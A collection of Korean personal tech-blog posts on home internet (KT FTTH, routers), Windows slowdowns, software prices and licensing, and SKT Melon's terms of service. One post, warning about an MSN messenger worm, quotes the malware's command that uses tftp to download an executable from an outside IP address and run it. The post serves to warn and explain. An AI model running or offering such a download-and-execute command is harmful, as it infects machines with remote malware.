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KT에서 대대적으로 FTTH를 광고하고
일부 사용자..(저 포함 ^------^)들의 사용기가 올라오면서..
이목을 집중시키고 있긴 합니다.

사실 저 역시
2400bps 모뎀을 거쳐 지금 FTTH까지 오면서
많은 서비스를 사용했고.. (물론 대부분이 KT지만요;)
많은 데이터만큼이나 빠른 속도를 요구하는건 소비자로써 당연한게 아닌가 싶기도 합니다.


아..;;
서론은 여기까지 하고..
제목을 보시면 아시겠지만.. -_-

네이버 지식인도 그렇고 많은 분들이 우리집/동네는 FTTH되요? 라고 물어보시더군요..
마땅히 답변들을데도 없고..

근데 -_-
조회가 가능하더군요..


아래 링크로 가셔서 조회해보시길..

http://www.kt100.com/pa/jsp/pa640i_p03.jsp

사용자 삽입 이미지

Posted by 컴ⓣing
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얼마전에 노트북에 바이러스가 이것저것 침투되어있어서..
부득이하게 노트북의 자료를 간단하게만 백업받고 하드디스크를 초기화했습니다.

그리고 노트북에 번들로 들어있는 복구CD를 넣고 윈도를 재 설치하기 시작했습니다.
언제나 그렇듯 윈도 설치는 얼마 걸리지 않았죠.
드라이버도 제조사의 씨디 한장이면 깔끔하게 끝나지요..

하지만 이후부터 문제가 발생하더군요
이제 막 설치를 끝내고 프로그램을 깔다보니 이상하게 시스템이 많이 느린 것이였습니다.

작업관리자를 열어서 보니..
SVCHOST.EXE 라는 파일이 시스템 자원의 대부분을 사용하고 있더군요
90%이상..

이 프로그램을 죽이자니 시스템 기본 프로세서라 찜찜하고..
혹시나 해서 죽였더니 윈도XP의 테마가 종료되더군요.



인터넷에 접속해서 관련 정보를 살펴봤습니다.
그랬더니 Windows Update 때문에 그럴수도 있다고 하더군요.

예전에
제가 노트북을 구입한 시점은 2005년 2월
이후 수많은 보안패치가 나왔을 것은 분명하지요.

하지만..;;
현 시점에서 시작 -> 설정 -> 제어판 -> 관리도구 -> 서비스 라는 단계를 거쳐서
서비스내에 있는 Automatic Updates 라는 서비스를 수동으로 전환시켜주면 된다고 하더군요

사용자 삽입 이미지

하지만 서비스 자체가 현재 자원을 대부분을 사용하는지라 저기까지 가는 과정이..
결코 순탄치는 않더군요

결국 또 다른 방법을 찾았습니다.

저 창은.. 시작 -> 실행 -> services.msc 를 하면 바로 뜨더군요..
하지만.. 그것도 역시 시간 걸리긴 마찬가지

결국 저는 텍스트모드에서 한번에!! 중단시키는 방법을 찾았고 그 방법이면 일단은(!) 시스템의 버벅임은
잡을 수 있더군요

사용자 삽입 이미지

wuauserv 는 위에서 언급한 윈도 자동 업데이트 서비스를 뜻합니다.
저렇게해서 중단을 시키고

services.msc를 실행하여
windows update 서비스를 수동으로 바꿔주고 수동으로 모든 업데이트를 설치하고 나서
다시 자동으로 바꿔주니 상황이 안전하게 종료되더군요..

혹시나 저와 같은 증상을 겪으신 분이 있으시면 참고하세요~!

Posted by 컴ⓣing
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예전에 제가 지적했던 SKT의 멜론 서비스의 약관 관련해서 포스팅했던 것이 한겨례에 떴더군요..

오늘아침 네이버에 접속해서 뉴스가 머머 있나 싶어서 둘러보던중에 발견했습니다.

사용자 삽입 이미지

머 실제로 기사를 보니까..
사용된 이미지가 제가 블로그에 올려둔 이미지와 상당히 흡사하단 느낌도 받았지만..;;
(사실 그래서 조금 -ㅠ-;; 섭섭했습니다.. 사실이 아니라면 머 별수없지만서도;;)

여튼 궁금하신분은 기사 한번 읽어보세요

SKT ‘멜론’ 등 스트리밍 업체, 고객장비 ‘얌체’ 사용
Posted by 컴ⓣing
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요즘들어
정품 사용에 대한 생각이 많이 듭니다.

사실,
제조사 혹은 판매사가 고객지원을 해주든 안해주든..
소프트웨어는 돈을 주고 사야하는게 아닌가..라는 생각이 듭니다.
(물론.. 돈을 내고 구입한 고객에 대해서는 분명히 해주긴 해야되겠죠;; 망하지 않는 이상에야;;;
그래야 그것을 구입하는 고객도 늘어날 것이고 그렇게 늘어난 매출은 다음버전의 소프트웨어 개발에도 쓰일테니까요;;
머 양심이 있으면- _- 고객지원해줘야죠... 양심이 있으면...)





지난번 비스타 예약과 더불어 많은 고민을 했습니다.
편법이기는 하지만, 급하게 윈도 XP를 사고 등록해서 비스타로 무상 업그레이드도 받고..말이죠..

하지만 늘상 제 발목을 붙들어매는 것은
소프트웨어의 가치도 아니고, 고객지원도 아닙니다.

바로 가격..;;

사용자 삽입 이미지


현재 제가 고려하고 있는 운영체제는 3가지입니다.
윈도 XP라면 프로페셔널 혹은 홈에디션
윈도 비스타라면 홈프리미엄.


가격적인 면만 보면 DSP버전 수준만 되면 구입해서 쓰지 않을까 싶습니다..
하지만, 잦은 컴퓨터 업그레이드를 하는 사람들에게는 치명적인 단점이지요..
1대의 PC에 대해서 제공되는 라이센스..주요 부품을 업그레이드하면 새로 구매해야되는..


사실.. 윈도 XP의 홈에디션도 그렇고..윈도 비스타의 홈 프리미엄버전도 그렇고..
둘다 가정에서 사용하라는 뜻에서 홈이라는 이름이 붙은게 아닌가 싶습니다.

그런데 가격이 저가형 컴퓨터 1대 값입니다..;;

요즘 컴퓨터 가격이 많이 내려왔습니다..
그렇다고 해서 주변기기값이 내렸으니 윈도도 값을 내리라는 것은 아닙니다만.. 
솔직히 소비자의 측면에서 체감적으로 저가형 PC 1대값을 더 주고 씨디 달랑 한장 받기엔..
너무나도 허무(?)하다는 겁니다..

가격적인 예를 들면서 
제일 대표적인 소프트웨어 가격인 윈도를 한번 계산해봤습니다.
사실 윈도보다 더했으면 더한 소프트웨어들의 가격도 많습니다.

소프트웨어 제작사들이
한번쯤 가격에 대한 정책을 다시 생각해봤음 좋겠단 생각이 듭니다.

외국계 회사라고 해서 본사 정책이...  이런 이야기는 하지않았음 좋겠습니다.
제일 중요한건.. 해당 국가의 현지 상황인겁니다.

상황을 제일 잘 알고 있는 현지 법인들이 가격을 책정하고 마케팅을 해서 정품 사용을 유도하면 좋겠단 생각이 듭니다.

머 국내기업이라면 두 마디해도 입 아프겠지만요!
Posted by 컴ⓣing
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요 몇일 바이러스에 지독하게도 고생하고 있습니다.

정말 어제까지만해도.. 다 밀어버리고 리눅스로 가야겠다! 라고 마음먹었을 정도니까요;;
(하지만 못가게 막은건 역시 인터넷 뱅킹이였습니다;;;)

ActiveX가 또 다시 원망스러워졌습니다..;;

어찌됐든간에..
오늘 회사에서 K모 회사에서 설정 변경을 하는 방법을 알려달라고 해서 간단히 문서작업을 하고 있었습니다.
(언제나 그렇듯.. 말로하면 몇마디 안되는데 메뉴얼로 작성하면 꽤 페이지가 나오죠;;
개발자분들이 프로그램 만드는 것보다 메뉴얼 만드는게 더 어렵다는 말을 실감케하는 순간이였습니다..)

한시간여 직접실행하고 내용 캡쳐하고 수정하고.. 
고작 5페이지 만들어서 회사사람들에게 돌리고 돌아섰는데.. 그러더군요;;
평소처럼 파일 전송이였으니 아웃룩에서 덩그러니.. 파일만 첨부해서 보냈는데..
내용이 있다는 것이였습니다.

것도 전혀 처음보는..

그래서 다시 전달해달라고 부탁을 드렸죠..
사용자 삽입 이미지

ㅡ.,ㅡ;; 저게 먼 단어랍니까;;;
단어를 보아하니.. 영어는 아닌거 같고 저쪽 유럽쪽 같긴한데..;;

구글에서 찾아봤는데..
몇개의 결과가 나왔는데 그나마 도움되는 것은 하나도 없더군요.
다들 mailing list에 포함되어있는..

아무래도 메일과 밀접한 관련이 있는 것 같은데..
검색해도 안나오고..

혹시 이에 대한 정보 아시는 분 계신가요??

지긋지긋한 바이러스.. 정말 사람 혼을 빼놓습니다 ㅡ.ㅜ
Posted by 컴ⓣing
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드디어 갈아치웠습니다;;

벌써 집에 인터넷을 설치해서 사용한지도 많은 시간이 흘렀습니다;;;
(몇년이 지났는지 계산하기도 어렵습니다;;; 아마 올해가 7년차가 아닌가 추측을 해볼 뿐입니다..;;)

그동안 KT의 인터넷을 사용하면서..
ADSL Premium을 사용하다가 군 입대를 하면서 ADSL Lite로 갈아타고
이후 군 복무중에 VDSL이 설치된다해서 VDSL Lite로 갈아탔습니다..
(가입상품이 말이 Lite지.. 속도야 풀로 다 나왔더라죠;;;)

그러다가 작년 6월
불안정한 VDSL때문에 파워콤의 X-cable로 갈아탔습니다. 처음으로 인터넷 회사를 바꿨던 것입니다.
설치후 Up/Down 속도가 무려 7M/30M 라는 수치에 놀랐었죠..

VDSL 당시 Up속도는 기억나지 않지만, Down속도는 20M까지는 가능했지만
위에서 언급했다시피 안정성 문제로 14메가정도로 낮춰서 쓰고 있었습니다.


갈아타면서 KT에 전화해서 인터넷 해지건과 관련 연락을 했고..
당시 상담원으로부터 희소식을 하나 전해들었습니다. 2-3달 이내로 저희동네에 FTTH의 100M인터넷이 들어간다는
것이였습니다. 당시 엔토피아라는 ETTH방식의 인터넷만을 알고있던터라..많이 궁금했었죠..

자료 조사를 마치고 기다렸습니다.
물론 파워콤 설치가 끝난 직후여서 들어오면 바로 해지한다는 생각을 갖고 있었죠..
그런데 시간은 계속 늦춰졌습니다..

동네 담당 KT지사부터해서 줄기차게 전화하고 -_- 괴롭혔습니다..;;

결국 작년 해를 넘기고 올해 초 설치된다는 이야기를 듣고..
기대를 갖고 있었으나 계속.. 또 늦춰졌습니다.

그러면서 KT에선 공식적으로 FTTH 망 구축에 대한 보도자료가 나왔고..
제가 다니는 주변에선 FTTH 공사중인 지역과 FTTH 박스들이 보이기 시작했고
친구네 집에 FTTH가 들어왔다는 이야기를 들었었죠..

그리고 마침내.. 저희 동네에도 FTTH 공사차량이 나타났습니다 ㅠ_ㅜ
지사에 전화해서 확인하니 테스트를 끝내고 바로 설치를 시작하겠다고 하더군요
1달여 테스트시간을 기다려서 설치를 마쳤습니다..

KT의 업무시간.. 제일 빠른 설치시간인 오전 9시 30분
전화선을 쓰는 방식이 아니였기때문에 외부에서 선을 다시 인입해야했고.. 그 과정에서
광 방식이기때문에.. 신호도 일일이 체크를 해야했었습니다.
1시간..2시간..  설치시간은 오래걸렸습니다.

그리고 최종적으로 신호 체크를 마치고 PC에 연결해서 속도체크를 했을때..
놀라웠습니다.

Up/Down 속도 양방향 모두 95Mbps라는 무서운 속도..
지연율도 1.5ms라는.. 결과를 쏟아내고 있었습니다..

이후 공유기를 설치하면서 속도도 다소 떨어지고 지연율도 올라갔지만.
무척이나 만족하고 있습니다.

FTTH가 이끌어주는 인터넷..
많은 분들이 FTTH를 사용할 수 있었음 좋겠습니다~ ^^

사용자 삽입 이미지

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Posted by 컴ⓣing
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사실..
저는 집에 유/무선 공유기가 3대나 있습니다.
남들한테 말하기도 껄끄럽지요...;; (무슨 사업을 하는 것도 아니고, 그렇다고 사무실도 아닌것이..)

각각을 보면..
1대 공유기 : 버팔로의 WBR2-G54
(원랜 WBR-G54모델이였는데 서비스 받으러 갔더니 해당모델 단종이라면서 상위 모델로 바꿔주더군요;;)
2대 공유기 : 링크시스 WRT54G
(운 좋게도.. 용산의 한 업체에서 이벤트를 할때 응모를 했는데 당첨됐습니다.. 그 성능 좋다는 v4 버전 모델이 왔더군요  ㅎㅎㅎ)
3대 공유기 : anygate RG-3500v2
(엄청!!! 제게 스트레스를 안겨준 녀석입니다. 제일 늦게 샀는데 서비스는 제일 많이 받았습니다..;; 지겨워죽겠습니다.. 환불받을 수 있었음 환불 받았음 좋겠습니다..)

어찌됐든간에..
버팔로 공유기는 군 복무를 할때 였던가.. 여튼 집에 랜선이 돌아다니는게 싫어서 무리해서 공유기와 무선랜카드를 무려 24만원인가 주고 구입했던 것입니다.. 이후 링크시스는 운이 좋아서 추가된 녀석이죠..

두 녀석을 WDS 기능을 활용해서 잘 사용하던 중에..
집에 갑자기 메가패스 TV를 설치하고 싶어졌습니다..

그래서 메가패스 TV에 필요한 장비를 물색하게 되었고..
이 역시 제 방에서 거실까지 랜선을 뽑기가 싫다는 이유로!!

제 방과 거실에 설치한 2개의 유무선 공유기를 WDS로 연결하고 거실측 공유기에 메가패스 TV장비를 물려서 서비스를 이용하려했었죠..

그.런.데
ㅡ.,ㅡ;;;;; 중대한 난관에 봉착하였습니다.
메가패스TV는 고정 IP가 필요하다는 것이였습니다..
(물론 메가패스를 함께 사용할 경우 2개의 IP를 KT에서 제공한다는 한다더군요..
1개는 유동, 1개는 고정..)


공유기에서 DMZ기능을 활용하면 될 줄 알았는데.. 알고봤더니 -_- 그게 아니더군요..
공유기에서 고정IP를 해당 장비까지 보내주려면..
메가패스 라인의 분기점인 제 방에서 하나의 스위치를 놓고 그 아래에서 2개의 공유기가 돌아야된다더군요;;

즉..

메가패스 라인 -> 스위치 -> PC들을 위한 공유기
                            └->메가패스 TV를 위한 공유기

위와 같은 방식이라는 거죠..;;
어찌됐든 확실한 건.. 스위치든 공유기든 총 3대가 필요하다는 것..

아.. 쓰린 속을 움켜잡고 구입한 anygate의 공유기..
근데 저희집에 온날부터 말썽이더군요;;

속도가 안나오는 것이였습니다..;;

결국 서비스를 보내서 받은 새 제품... (박스에 테스트를 했다는 체크가 붙어있더군요;;;)
한동안 잘 썼습니다.. 하지만 저희 동네에 곧 들어오게 된다는 FTTH를 대비해서..
파워콤을 해지하려고 테클을 걸 준비를 하던 차에..;; 업로드 속도가 형편없다는 점을 확인하게 됐죠..

결국 또 서비스 보낼판국입니다..;; 그냥 환불해달라고 할까요? ;;;


인터넷 업체에도 전화해서 속도 안나온다고 테클을 넣으면
상담원은 친절하게 대답해주죠..
"고객님의 장비가 이상하거나 공유기에 문제가 있을 수 있습니다"

그럼 전 싸악~!! 웃어주면서 한마디 날립니다.
"집에 서로다른 회사의 공유기가 3대가 있고, 컴퓨터가 3대가 있습니다.
서로 바꿔가면서 테스트했는데 동일한 증상인데 이래도 제 장비들의 문제인가요?"

ㅋㅋㅋㅋ
이후 상담원의 버벅임이 종종 느껴집니다..
사실 저처럼 해놓고 사는 사람이 몇이나 있겠습니까..;;;
(혼자 쓰는 컴텨가 에지간한 사무실PC보다 화려한 사양이니..;;)

참 재미있는 세상입니다.. ㅎㅎ

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Posted by 컴ⓣing
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회사에서 일하고 있는데 MSN메신저에 등록된 초등학교 친구로부터
파일이 하나 전송되었다..

평소에 대화를 잘 하지 않는 친구였는데..
갑자기 파일을 보내다니.. 이상하다 생각은 했지만.. 수락해서 받았고,
파일이름은 photo album.zip 이였다.

파일을 클릭해서 여니 photo album2007.pif 이라는 파일이 들어있었고,
다행이 압축을 특정 경로에 풀어서 실행한게 아니라 알집에서 더블클릭해서 오픈한 것이기에..
TMP 디렉토리에 풀리게 되었었다.

즉시 하우리 백신 프로그램에서 바이러스라는 경보를 띄우면서 차단했고
다행히 바이러스로 부터 탈출을 했다.


이상해서 친구에게 대화를 걸었더니 어제 바이러스에 감염되었다고 말하면서 다 잡은줄 알았는데 잘 모르겠다는
말도 이어졌다.

일단은 백신 프로그램을 받고 설치한 후에 인터넷 선을 제거하고 바이러스부터 잡으라는 말을 했다.

도스시절에야 F5키를 눌러서 부팅하고 V3로 모든 파일을 점검하면 끝이였으나 지금은 백신프로그램도
프로그램이기에 설치를 해야되서 초보자인 친구들에게 어떻게 하라..라는 설명을 하기도 무척이나 애매하다.



몇 시간뒤..
다시 메신저 창이 열리면서
hey man accept my new photo album.. :( ...
라는 내용이 떴다..그제서야 눈치챘고 확인해보니 바이러스가 확실했다.

네이버에 관련 뉴스가 떠서 링크를 해본다.

메신저로 급속 확산 ‘웜’ 주의보…메신저 전송 사진 열지 마세요


이후 뉴스에 나와있는 rdshost.dll 파일이 시스템에 존재하지 않을까 라는 우려로
파일찾기를 통해 검색하던 중.. 시스템이 심하게 버벅거리는 현상이 발생..
Windows 작업관리자를 호출, explorer.exe 프로세서를 죽이고 다시 실행하려고 들어갔는데..

실행창에 알수없는 명령이 남겨져있었다.

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 38.98.159.34 GET otdxxgcf.exe & start otdxxgcf&

대충 내용을 보니..
1. command prompt를 띄우고
2. user32.dll 파일을 고친다는 메시지를 띄우면서
3. 38.98.159.34 주소를 가진 호스트로 접속해서
4. otdxxgcf.exe파일을 받아서 실행해라.

이상하단 생각에..
일단 IP를 조회했다.

OrgName:    Performance Systems International Inc.
OrgID:      PSI
Address:    1015 31st St NW
City:       Washington
StateProv:  DC
PostalCode: 20007
Country:    US


미국 워싱턴에 있는 PSI 의 IP였다. 소득없이 허탕..
게다가 현재에 ping을 쏴봐도 응답이 없었다. 개인PC로 생각될뿐..

실행파일명을 구글에서 조회해도 아무런 결과는 없고..
(보나마나 뻔하다.. 임의로 생각되는 파일임이 분명..)


혹시 MSN메신저로 그러한 파일을 요청을 받은 적이 있는가?
그렇다면 시작버튼을 누르고 실행에서 명령 기록을 한번 확인해보십시오.

사용자 삽입 이미지


자.. 여러분의 PC는 안전하십니까??

Posted by 컴ⓣing
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작년 7월경..
안철수 연구소에서 대대적인 기능 업그레이드를 알리며 런칭된
V3 Internet Security 2007.. (이하 V3 2007)

사용자 삽입 이미지

가격이 50%할인된 33,000원이였기에 1년동안 한달에 3,000원정도만 아끼면 나에게 필요한 소프트웨어를 정품으로써 등록하고 등록고객으로써의 특혜를 누릴 수 있겠다 싶어 직접 안철수 연구소의 온라인 샵에서 구입을 했다.
(물론 이후 더 싼곳에서 파는 것을 보고 경악했었지만...)


어찌됐든 메일을 보고서 곰곰히 생각해봤더니
만료까지 이제 4개월쯤 남았기에 슬슬 재계약을 생각해야될 때가 된 듯 싶다.
재 계약을 하는 횟수만큼 가격이 계속 인하되고 6년차가 되면 상당히 저렴한 가격(19,800원)으로 재계약을 할 수 있기에 그 장점을 잘 이용하려 한다.


그러다가 문득 생각이 들었다.
현재 본인이 쓰는 컴퓨터만 3대.

집에서 쓰는 PC 1대, 노트북 1대, 사무실 PC 1대..
정말로 정품을 사용할 줄밖에 모르는 사용자라면, 무려 정품을 3개를 사야한다.

할인을 해서 아무리 가격을 낮췄다해도.. 그 대수가 늘어나면 늘어날수록..
다시금 생각하게 한다.

사실 둘러보면 33,000원이라는 돈을 가지고 무엇을 할 수 있는가?
가격이 인하된 메모리를 사도 512MB를 살 수 있고, USB 플래쉬 메모리를 사도 4GB제품을 살 수 있다.
하지만 무형의 가치이자, 한시적인 1년짜리 업데이트를 위해서 33,000원을 투자하고,
내가 가진 PC의 댓수만큼 그 가치를 치르라면..

즉, 내가 가진 3대의 PC만큼 V3를 구입한다라치면..
첫해에 할인을 해도 99,000원이라는 비용이 소요되고, 1년이 지나서 2년차 재계약을 해도..
건당 31,900원씩.. 무려 95,700원이라는 비용을 감수해야 한다.

이 돈이면 무엇을 할 수 있으리라 생각되는가?


정품 소프트웨어의 가격에 대한 이야기는 예전부터 말이 많았던 것이 사실이고
한때 우리나라 대표 워드프로세서인 한글과 컴퓨터의 부도 위기가 닥쳤을때
단돈 10,000원이라는 소프트웨어 가격은 많은 사람들로 하여금 정품 사용을 할 수 있도록 했었다.

그렇다고 해서 본인은 소프트웨어의 초기 가격 자체를 할인하자는 이야기가 아니다.

초고속 인터넷을 보면 IP를 추가 신청할 경우 신규 신청하는 것보다 절반도 안되는 가격에 IP를 제공하고 있다.
즉 이와 같이 가구당으로 계산해서 한 가구에 동일한 소프트웨어에 라이센스만 추가하는 요금을 추가 산정하여 부담을 줄여준다면 정품 사용자의 수가 늘어나지 않을까라는 생각을 해보게 된다.

솔직히.. 윈도와 같이 -_- DSP 버전의 정품을 구입해도 고객지원 안해준다..배째라.. 식이거나
애시당초 고객지원이 물 건너간 소프트웨어라면 가격이 정말 시장의 떨이가격 아니라면 사지 않겠지만.

백신과 같이 주기적으로 업데이트를 하고, 바이러스에 대한 문의를 받아주는등의 고객지원이 있는 소프트웨어라면 충분히 구입할만한 가치가 있다고 판단된다.


이 글을 읽으시는 분들..
혹시 지금 정품을 몇개나 사용하고 계시는지 궁금하다..
그리고 가격만 맞다면 구입하고 싶은 소프트웨어는 몇개나 되는지 여쭤보고 싶다.
Posted by 컴ⓣing
|
3월 20일..
SKT에서 서비스하는 멜론 S/W에 대한 약관이 변경되었다면서 메일이 왔다.
그냥 그러려니..하고 냅뒀다가.. 휴대폰에 음악을 좀 넣을까 해서 프로그램을 받으려다가
한번 살펴봤다가..  정말 이건 아니다 라는 생각이 들어 포스팅을 한다.

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본인이 생각하는 문제 항목은 총 2개 항이다.
먼저 1항의 내용..
이용자의 PC 데이터를 수집한다고 되어있는데, 엄연히 개인 PC이다. 이에 대해서는 수집하는 데이터의 종류를 사전에 공지해야된다는 것이 본인의 생각이다. 즉, 멜론 소프트웨어 구동과 관련한 데이터를 수집하고, 이에 포함되는 데이터는 무엇무엇이 있다. 라고 해야된다는 것이 본인의 주장

다음 3항의 내용
네트워크 장비를 임의로 사용한다는 것. 사실 사용자의 입장에서도 네트워크 장비를 어떻게 할 수 있는 것은 없다 단지 트래픽을 좀 더 사용하겠다라고 명확히 구분해야 할 것이다. 두루뭉실한 약관은 소비자에게 피해를 줄 여지가 다분하다.

또한 스토리지를 임의로 사용한다는 것은 해석하기 나름이겠지만, 사용자의 PC내의 데이터를 마음대로 사용하겠다는 이야기가 될 수도 있다. 개인의 데이터를 임의로 사용한다라고 해석될 수도 있다. 특정 소프트웨어가 자신의 데이터를 임의로 사용한다면 기분이 좋을 사용자는 하나도 없다. 이 역시 어느어느 데이터를 사용하겠다라고 명시를 해야될 것이라 생각한다.

마지막에 있는 이용자가 의도하지 않아도 PC에서 자동으로 가동될 수 있다. 이것은 엄연히 문제가 있는 항목이다. 삭제되어야 된다고 생각한다. 소프트웨어의 약관은 해당 소프트웨어가 실행될때 적용받는 것이다. 하지만 사용자가 원치 않는데 실행된다는 것은 사용자의 소프트웨어 선택권을 저해하는 행동이라는 것을 잊어서는 안된다.


클럽박스와 같은 소프트웨어는 사용자의 네트워크 자원을 빌려쓰는 대가로 특정 포인트를 지급하고 있으며, 사용자가 원치 않을 경우 프로그램 종료를 통해서 혜택도 포기할 수 있다. 즉, 사용자가 필요로 할때에만 해당 소프트웨어를 사용하고, 특혜를 받는다는 말이며, 이 소프트웨어를 사용함에 있어 본인에게 불필요하다면 특혜를 포기하고 소프트웨어를 사용하지 않을 수 있다는 것이다.

하지만 멜론의 경우 SKT사용자라면 멜론 웹 사이트를 통하지 않고서 mp3를 구입할 수 없으며, 개인 소유의 mp3를 넣는다해도 멜론 소프트웨어를 사용해야 하는 독점 소프트웨어이다. 독점적 지위를 이용하여 이 소프트웨어를 사용해야만 하는 상황에서 이 소프트웨어를 사용하면 이렇게 사용자의 자원을 사용하겠다.라고 약관에 넣는다는 것은 분명 올바른 행동은 아니라는 생각이 든다.

기업이 사용자에게 제공하는 것이 있으면 그 대가로 사용자도 무엇인가를 제공하게 된다.
그것은 서비스에 대한 대가일 수도 있고 사용자가 보유한 리소스의 일부를 공유할 수도 있을 것이다.
하지만 지금 멜론의 처사는 공평하게 주고 받는 것이 아니라 기업의 입장에서 더 유리한 약관을 작성한 것 같다.

반드시 고쳐져야 될 기업과 사용자간의 약속이 아닐까?

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Posted by 컴ⓣing
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